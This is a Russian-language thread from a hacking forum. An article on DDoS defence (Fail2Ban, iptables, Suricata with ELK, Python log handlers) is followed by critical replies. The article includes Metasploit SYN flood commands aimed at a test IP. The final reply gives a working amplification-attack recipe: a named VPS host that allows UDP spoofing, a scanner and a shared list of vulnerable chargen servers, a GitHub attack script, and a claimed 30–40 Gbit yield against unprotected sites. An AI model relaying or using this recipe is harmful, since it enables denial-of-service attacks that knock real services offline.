• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья DDoS. Организуем защиту, тестируем нагрузку, настраиваем мониторинг и логирование атак.

n0_mad

(L1) cache
Пользователь
Регистрация
15.02.2024
Сообщения
536
Реакции
272
Гарант сделки
3
Депозит
0.0002 Ł и др.
Автор: NomadSP
Источник: xss.pro


Противодействие DDoS это один из базовых принципов защиты своих цифровых активов от дистабилизации работы сервисов, нарушения пропускной способности, потери мощности и других неприятностей, которые несёт Distributed Denial of Service Attack.

При этом существуют методы противодействия, а так же способы изучить данный вектор атак самостоятельно хотя бы для достижения принципов понимания, а может и вовсе для использования в тренировках.

Начнём с Firewall.

Поскольку по умолчанию мы используем Linux OS, то рассматриваемый инструмент: iptables. Встроенный инструмент, управляемый командой, например:

Bash:
iptables -A INPUT -s 192.168.0.1 -j DROP

Это позволит блокировать трафик на основании заданного IP, хотя могут быть настроены и другие правила.

Для более удобного использования можно использовать ufw: Интерфейс для работы с iptables.

Однако, я бы порекомендовал нам разобраться с инструментом Fail2Ban - который позволит автоматизировать работу через iptables.

Шаг 1. Установка Fail2Ban.

По умолчанию, f2b уже доступен на большинстве дистрибутивов Linux OS, поэтому переходим к установке:

Bash:
sudo apt install fail2ban

Шаг 2. Настраиваем конфигурацию.

Fail2Ban по умолчанию поставляется с конфигурационным файлом /etc/fail2ban/jail.conf

Для поддержания безопасности, рекомендую создать свой файл /etc/fail2ban/jail.local, чтобы избежать перезаписи настроек при обновлениях.

Создаём файл jail.local:

Bash:
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
1727628273647.png


Шаг 3. Редактируем конфигурацию:

Bash:
sudo nano /etc/fail2ban/jail.local
1727628296731.png


Основные настройки, которые можно изменить:
- ignoreip: IP-адреса, которые не будут блокироваться (например, корпоративные).
- bantime: Время блокировки в секундах.
- findtime: Период времени, за который фиксируется количество неудачных попыток.
- maxretry: Количество попыток подключения до блокировки IP.(т. е., после этого количества - IP уходит в стоп-лист)

Пример:
INI:
[DEFAULT]
ignoreip = 127.0.0.1/8
bantime  = 600
findtime  = 600
maxretry = 5

Настройка для SSH:

В целом, Fail2Ban имеет возможность так же защиты SSH, что можно настроить там же в jail.local.

Пример настройки для SSH:

INI:
[sshd]
enabled = true
port    = ssh
filter  = sshd
logpath = /var/log/auth.log
maxretry = 5

Интеграция с Ngnix/Apache etc.

Каждый подобный сервис имеет свой фильтр - набор правил для поиска аномалий в журналах, например, /var/log/nginx/error.log.

Пример настройки для Nginx:

INI:
[nginx-http-auth]
enabled = true
filter = nginx-http-auth
port = http,https
logpath = /var/log/nginx/error.log
maxretry = 3

Шаг 4. Перезапускаем Fail2Ban.

После изменения конфигураций необходимо перезапустить Fail2Ban, чтобы изменения вступили в силу:

Bash:
bashsudo systemctl restart fail2ban

Шаг 5. Проверяем состояния Fail2Ban.

Проверка статусов всех jails:

Bash:
sudo fail2ban-client status

Если надо проверить статус конкретного jail, к примеру, SSH, то используем:

Bash:
sudo fail2ban-client status sshd

Шаг 6. Проверяем логи:

Bash:
tail -f /var/log/fail2ban.log

Соответственно, таким образом у нас настроены параметры проверки IP, конкретного SSH, а так же сервиса.

В ситуации, если какой-то IP-адрес необходимо разблокировать, например, в рамках внутренних тестов, то можно использовать:

Bash:
sudo fail2ban-client set jail_name unbanip <YOUR_TARGET_IP>

Reverse.

Теперь попробуем обратное - тесты на практике, чтобы понять уязвимые векторы нашей построенной инфраструктуры, например.

Я предлагаю для этого использовать незамысловатый Metasploit, поэтому рассмотрим пошагово:

Шаг 1. Установливаем Metasploit:

Bash:
sudo apt install metasploit-framework
1727628329718.png


Шаг 2. Запускаем Metasploit:

Bash:
msfconsole

Шаг 3: Выбориаем модуль для симуляции DDoS-атаки.

Например, для SYN Flood используем соответствующий модуль Metasploit.

Bash:
use auxiliary/dos/tcp/synflood

Шаг 4. Настраиваем параметры модуля.

После выбора модуля нам нужно указать IP-адрес цели (например, тестового сервера) и порт, который будет атакован.

- RHOST: Укажите IP-адрес тестового сервера.
- RPORT: Порт, на который будет направлена атака (например, 80 для веб-сервера).
- INTERFACE: Укажите сетевой интерфейс для исходящей атаки (например, `eth0`).

Пример команды настройки:

Bash:
set RHOST 192.168.1.10
set RPORT 80
set INTERFACE eth0

Шаг 5. Запуск атаки.

После настройки параметров, запустите атаку:
Bash:
run
1727628372291.png

Это запустит SYN Flood атаку на указанный IP-адрес и порт.

Проверка недоступности сервера.

Для того чтобы убедиться в эффекте тестовой атаки, поступаем следующим образом:

Шаг 1. Ping-тест.

Попробуйте отправить запрос ping и посмотрите, как изменится ответ:

Bash:
ping 192.168.1.10

Если сервер не отвечает или отвечает с большими задержками, это может быть признаком того, что он перегружен или недоступен.

Шаг 2. Тест порта.

Если вы атакуете веб-сервер (например, порт 80), попробуйте открыть сайт в браузере. Недоступность и лаги - явный признак стресса.

Инструменты для мониторинга и визуализации DDoS-атак во время ваших тестов.

Все, кто ранее уже читал мои статьи, устали от Promethius, а уж тем более Grafana, поэтому сегодня предлагаю рассмотреть альтернативу.

К слову, данную альтернативу так же можно использовать во время ваших собственных тестов.

Интегрируем Suricata с ELK стеком.

Шаг 1. Установим пакеты компонентов ELK и Suricata.

Напомню, что Suricata должна быть установлена на сервере, чтобы перехватывать пакеты сетевого трафика.

Bash:
sudo apt install suricata

Шаг 2. Установка ELK стека.

2.1. Установка Elasticsearch.

Bash:
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add - 
sudo apt-add-repository "deb https://artifacts.elastic.co/packages/7.x/apt stable main"
sudo apt install elasticsearch

Шаг 2.2. Включаем Elasticsearch.

Bash:
sudo systemctl start elasticsearch 
sudo systemctl enable elasticsearch

Шаг 2.3. Проверка статуса.

Bash:
curl -X GET "localhost:9200/"

Шаг 3. Установим Logstash.

Bash:
sudo apt install logstash

Для обработки логов Suricata мы создадим отдельную конфигурацию.

Шаг 4. Установка Kibana.

Bash:
sudo apt install kibana

Шаг 4.1. Включаем Kibana.

Bash:
sudo systemctl start kibana
sudo systemctl enable kibana

Шаг 4.2. Откроем Kibana в браузере:

http://localhost:5601

Шаг 5. Настройка Suricata.

Suricata может отправлять логи напрямую в Logstash, который затем отправит их в Elasticsearch для хранения и обработки.

- Конфигурация Suricata для работы с JSON-логами.

Bash:
sudo nano /etc/suricata/suricata.yaml

В разделе outputs: убедитесь, что формат JSON включен:

YAML:
outputs: 
- eve-log:     
enabled: yes     
filetype: regular     
filename: /var/log/suricata/eve.json      types:       
- alert       
- http       
- dns       
- tls       
- files       
- ssh

Это создаст файл логов /var/log/suricata/eve.json, содержащий все события в формате JSON.

Шаг 6. Конфигурация Logstash.

Создадим конфигурационный файл для Logstash, чтобы он принимал логи Suricata и отправлял их в Elasticsearch:

Bash:
sudo nano /etc/logstash/conf.d/suricata.conf

Шаг 6. Добаввляем обработчика JSON-логов:

Bash:
input {
  file {
    path => "/var/log/suricata/eve.json"
    start_position => "beginning"
    sincedb_path => "/dev/null"
    codec => "json"
  }
}

filter {
  if [event_type] == "alert" {
    mutate {
      add_field => { "[@metadata][index]" => "suricata-alerts-%{+YYYY.MM.dd}" }
    }
  } else {
    mutate {
      add_field => { "[@metadata][index]" => "suricata-logs-%{+YYYY.MM.dd}" }
    }
  }
}

output {
  elasticsearch {
    hosts => ["localhost:9200"]
    index => "%{[@metadata][index]}"
  }
}

Пояснение:
- Читаем логи из файла /var/log/suricata/eve.json.
- Разделили события на алерты и обычные логи.
- Настроили отправку данных в Elasticsearch с разными индексами для алертов и логов.

Шаг 7. Перезапустите Logstash:

Bash:
sudo systemctl restart logstash

Шаг 8. Настройка Kibana.

Теперь, когда логи Suricata поступают в Elasticsearch, нужно настроить Kibana для визуализации данных:

8.1. Откройте веб-интерфейс Kibana в браузере: `http://localhost:5601`.

Шаг 8.2. В Kibana перейдите в раздел Management-> Index Patterns.

Шаг 8.3. Создайте новый индексный шаблон для алертов:Имя индекса: suricata-alerts-*.

Шаг 8.4. Создайте еще один индексный шаблон для логов:Имя индекса: suricata-logs-*.

Шаг 9. Создаём дашборды.

Шаг 9.1. Перейдите в раздел Discover и выберите индекс `uricata-alerts-* или suricata-logs-*` чтобы увидеть логи Suricata в реальном времени.

Шаг 9.2. В разделе Visualize можно создать визуализации:
- Pie chart для разбивки по категориям атак.
- Bar chart для отображения количества событий по временным интервалам.
- Data Table для отображения информации по конкретным IP-адресам, портам и протоколам.
- Geo Map для отображения источников атак (если в логах присутствует информация о географическом положении).

Шаг 9.3. Создадим дашборд.

В разделе Dashboards можно собрать несколько визуализаций в один дашборд, который будет отображать все необходимые метрики: сетевые атаки, порты, IP-адреса, трафик и другие данные.

Это нам даёт возможность создавать целый контур противодействия DDoS, но добавим немного комфорта и создадим полноценную инфраструктуру.

Поработаем с логами.

Логи являются незаменимой для анализа вещью, поэтому грамотная обработка данных и выдача нам необходима для отладки своей выстроенной линии обороны.

Для этого создадим простого обработчика логов Suricata на Python и свяжем это всё с Syslog. Так как мы по умолчанию используем JSON, то от него и продолжим отталкиваться.

Python:
import json
import os

class SuricataLogHandler:
    def __init__(self, log_dir):
        self.log_dir = log_dir

    def read_logs(self):
        #Читаем все файлы логов в указанной директории.
        logs = []
        for filename in os.listdir(self.log_dir):
            if filename.endswith(".json"):
                with open(os.path.join(self.log_dir, filename), "r") as file:
                    for line in file:
                        try:
                            log_entry = json.loads(line)
                            logs.append(log_entry)
                        except json.JSONDecodeError:
                            print(f"Ошибка при декодировании строки: {line}")
        return logs

    def process_log(self, log_entry):
        #Реализуем логику анализа о типе атаки, источнике, цели и пр.
        alert = log_entry.get('alert')
        if alert:
            return {
                'signature': alert.get('signature'),
                'src_ip': log_entry.get('src_ip'),
                'dest_ip': log_entry.get('dest_ip'),
                'timestamp': log_entry.get('timestamp')
            }
        return None

    def process_all_logs(self):
        #Обработка всех логов.
        processed_logs = []
        logs = self.read_logs()
        for log in logs:
            processed_entry = self.process_log(log)
            if processed_entry:
                processed_logs.append(processed_entry)
        return processed_logs

Теперь нам необходимо связать созданный обработчик логов с Syslog, для создания единого журнала логов или инцидентов.

Python:
import logging
import logging.handlers

class SyslogHandler:
    def __init__(self, syslog_address):
        self.logger = logging.getLogger('SyslogLogger')
        self.logger.setLevel(logging.INFO)
        handler = logging.handlers.SysLogHandler(address=syslog_address)
        self.logger.addHandler(handler)

    def send_log(self, message):
        self.logger.info(message)

# Пример использования Syslog для отправки данных
syslog_handler = SyslogHandler(('localhost', 514))

for log in processed_logs:
    syslog_handler.send_log(f"Suricata alert: {log['signature']} from {log['src_ip']} to {log['dest_ip']}")

По итогу мы получаем следующие возможности:

1. Фильтрация событий: Вы можете добавлять правила фильтрации, чтобы обрабатывать только критические инциденты и атаки.

2. Логирование ошибок и предупреждений: Настроили внутреннее логирование ошибок.

3. Управление конфигурацией: Используя адреса конфигурационных файлов мы получаем логи из конкретных сервисов.

Заключение.


За эту статью мы научились обнаруживать, создавать тестово, мониторить и логировать события DDoS атак на инфраструктуру, что позволит своевременно принять меры и пофиксить недоступность целевого сервиса из-за стресса.

Все настройки необходимо подбирать под свои нужды, поэтому настоятельно рекомендую начать с аудита своих систем безопасности, а дальше уже подбирать нудные точки защиты и метода отражения атак.

Желаю удачи в настройках! До скорого!
 

Вложения

  • 1727628249410.png
    1727628249410.png
    29.6 КБ · Просмотры: 24
  • 1727628353760.png
    1727628353760.png
    20.4 КБ · Просмотры: 25
какая-то фигня, не имеющая отношения ни к дудосу, ни к антидудосу.

16109785509770.jpg
 
какая-то фигня, не имеющая отношения ни к дудосу, ни к антидудосу.

Посмотреть вложение 96126
Интересно было бы услышать чуть более конкретной критики. Я создавал окружения для тестов, вроде в статье это описал. Остальное - мониторинг, который в дальнейшем можно настраивать.
 
Интересно было бы услышать чуть более конкретной критики. Я создавал окружения для тестов, вроде в статье это описал. Остальное - мониторинг, который в дальнейшем можно настраивать.
статья о настройке мониторинга, а не о защите от дудоса.
про фаервол ничего толком не сказано, fail2ban к антиддосу отношения не имеет.
Недоступность и лаги - явный признак стресса.
а это похоже на перевод чужой статьи с английского
 
fail2ban к антиддосу отношения не имеет.
Не соглашусь, применяя правила iptables, работа F2B автоматизируется. Следовательно, возможность выставить блок лист или количество попыток подключения в конфигурации, вполне работает, но не является комплексным инструментом противодействия подобным атакам. Для понимания принципов - вполне достаточно.
это похоже на перевод чужой статьи с английского
Любопытно. Нет, не перевод, моя манера написания.
 
применяя правила iptables
ты будешь долбоебом, который после 10000 правил положит сервер к чертовой матери.
Твоя статья никаким образом не работает против ддоса, а уж тем более за какую-то фильтрацию. Fail2ban инструмент предназначенный для блокировки ботов (сканеров) которые например брутят почту smtp/imap или же SSH.
Если ты этим собрался отбивать ддос на nginx или apache то прошу тебе лично продемонстрировать это как ты будешь этой хуетой отбиваться от атак в 1млн запросов в секунду.
Твой сервер тупо сляжет как как карточный домик пытаясь анализировать твой лог файл весом с десяток гб так плюс еще и в эластик грузить.

Завтра возьми учебник по файловым дескрипторам и изучи хотя бы это... Тема мусор
 
Твоя статья никаким образом не работает против ддоса, а уж тем более за какую-то фильтрацию.
Почему никто не уделил внимание этому:
способы изучить данный вектор атак самостоятельно хотя бы для достижения принципов понимания, а может и вовсе для использования в тренировках.
Я не указывал, что iptables + fail2ban является "защитой", читайте внимательнее, прежде чем, брызжа слюной, пытаться назвать что-либо "мусор".
обнаруживать, создавать тестово, мониторить и логировать события
Думаю, читая без предвзятого "это не антидудос" - к таким пунктам можно было бы прийти.

Добра!
 
Последнее редактирование:
Этот ваш fail2ban сам намертво положит сервак при хорошем потоке распределенного перебора)
ИМХО, название статьи никак не коррелирует с содержимым, ладно бы еще была связка в виде какой-нибудь CDN (да хоть CloudFlare), которая помогала бы от школодудосеров и f2b, которая как-то спасала бы от брута, но и статья бы тогда называлась а-ля "защищаем боевой сервер с помощью говна и палок".
 
Ну запустил ты synflood, твой айпи моментом идёт у таргета в бл, дальше что?
ТС, ты смешал некую недо-настройку впски, с примитивным и неработающим на практике способом ддоса и подвязал к этому логгирование, которое сожрёт всю твою озу.
Если следовать этому всему, будет лишь потраченное время и разочарование.
 
Если нет прокси cloudflare/ddosguard/stormwall тебя ничто не спасет, никакие услуги по "защите от ддос от провайдера" и тем более конфиги на vps. Любой ботнет или даже стрессер/бутер просто забьет канал стойки с твоей vps
А про дудос, самый бюджетный (400р на хост, работал в 2020, хз как сейчас)
1)Арендуем vps тут https://dataharbour.ru/ (пропускает udp спуфинг)
2) Сканим сканером https://pastebin.com/5VVSHXYD через прокси лист уязвимых chargen серверов (или можете мой старый взять https://mega.nz/file/znIFkJpD#uZzaQ7ck_wxy8JWHF70GjVLvrrAzL6CwWT-qeBfkiWU )
3) запускаем сам дудос скрипт https://github.com/Dev0uss/DDOS-Attack-Chargen-Stable-Version , на выходе из 100мбит исходящего от впс траффика до таргета дойдет 30-40 гбит. Сайт без защиты либо упадет либо будет лагать (а от лагов у посетителей еще сильнее сгорит жопа чем если бы он просто был недоступен)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх